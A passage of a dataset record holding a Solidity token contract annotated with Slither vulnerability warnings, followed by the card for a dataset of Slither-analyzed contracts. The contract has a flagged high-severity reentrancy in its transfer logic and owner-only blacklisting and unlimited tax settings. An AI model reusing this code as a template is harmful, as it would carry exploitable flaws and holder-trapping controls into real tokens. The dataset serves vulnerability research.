03ca403\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 03ca403\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 15525fb\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7a767c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7a767c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4e6bca): BrainrotAI.createBrainrotAITrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for f4e6bca: Ensure that all the return values of the function calls are used.\n function createBrainrotAITrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 7a767c5\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7a767c5\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 7a767c5\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: f4e6bca\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapBrainrotAITokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minBrainrotAITokens = pLimit;\n\n uint256 tokenBrainrotAIWeight = pAmount;\n\n uint256 contractBrainrotAIOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractBrainrotAIOverWeight > minBrainrotAITokens &&\n tokenBrainrotAIWeight > minBrainrotAITokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b607fc9): BrainrotAI.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for b607fc9: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: b607fc9\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 39257ae): BrainrotAI.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 39257ae: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 39257ae\n _finalSellTax = _newFee;\n }\n\n function isBrainrotAIUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeBrainrotAIActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addBrainrotAIs(address[] memory BrainrotAIs_) public onlyOwner {\n for (uint i = 0; i < BrainrotAIs_.length; i++) {\n BrainrotAIs[BrainrotAIs_[i]] = true;\n }\n }\n\n function delBrainrotAIs(address[] memory notBrainrotAI) public onlyOwner {\n for (uint i = 0; i < notBrainrotAI.length; i++) {\n BrainrotAIs[notBrainrotAI[i]] = false;\n }\n }\n\n function isBrainrotAI(address a) public view returns (bool) {\n return BrainrotAIs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 15525fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 15525fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 03ca403): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 03ca403: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!BrainrotAIs[sender] && !BrainrotAIs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isBrainrotAIUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeBrainrotAIActions(sender, recipient);\n\n if (\n inSwapBrainrotAITokens(\n takefee,\n actions,\n amount,\n _swapBrainrotAIThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: 15525fb\n\t\t\t// reentrancy-eth | ID: 03ca403\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n", "file_name": "solidity_code_10006.sol", "size_bytes": 23698, "vulnerability": 4 }
End of preview. Expand in Data Studio

This dataset consists of 40,272 Slither analyzed Solidity files. The files were gathered from three sources: Etherscan, Github and DISL dataset. Three preprocessing steps were applied:

  • Step 1 "Cleaning": Unnecessary parts such as comments or blank lines were removed from each file.
  • Step 2 "Formatting": Each file was converted with Prettier and the corresponding Solidity-plugin.
  • Step 3 "Slither Analysis": Each file has been checked for security vulnerabilities and gas consumption issues. Annotations are added to the line or construct in which the vulnerability or optimization issue was detected. The entry "vulnerability" is 0 for secure contracts (2,410 contracts), 1 for contracts with only at least one gas consumption issue (2,870 contracts), 2 for contracts with only at least one low severity vulnerability (5,110 contracts), 3 for contracts with only at least one medium severity vulnerability (2,514 contracts) and 4 for contracts with at least one high severity vulnerability (27,368 contracts). The following Solidity code snippet shows an annotation example. The exact position of the vulnerability, the vulnerability and a recommendation how to avoid it are given.
 // WARNING Optimization Issue (immutable-states | ID: 21fb30b): DYORNFA._feeAddrWallet1 should be immutable
 // Recommendation for 21fb30b: Add the ’immutable’ attribute to state variables that never change or are set only in the constructor.
 address payable private _feeAddrWallet1;

 // WARNING Vulnerability (unused-return | severity: Medium | ID: 3032186): AlcoholicApe.createUniswapPair() ignores return value by IERC20(_pair).approve(address(_uniswap),type()(uint256).max)
 // Recommendation for 3032186: Ensure that all the return values of the function calls are used.
 function createUniswapPair() external onlyOwner {
 require(!_canTrade, "Trading is already open");
 _approve(address(this), address(_uniswap), _tTotal);
 _pair = IUniswapV2Factory(_uniswap.factory()).createPair(
   address(this),
   _uniswap.WETH()
 );
 // unused-return | ID: 3032186
 IERC20(_pair).approve(address(_uniswap), type(uint).max);
 }

No deduplication, file splitting or Solhint fixing was performed here.

If you wish to use this dataset, you can cite it as follows:

@misc{hensel2025slither_analyzed_solidity_dataset,
  title = {Slither Analyzed Solidity Dataset},
  author={Fabian Hensel},
  year={2025}
}
Downloads last month
41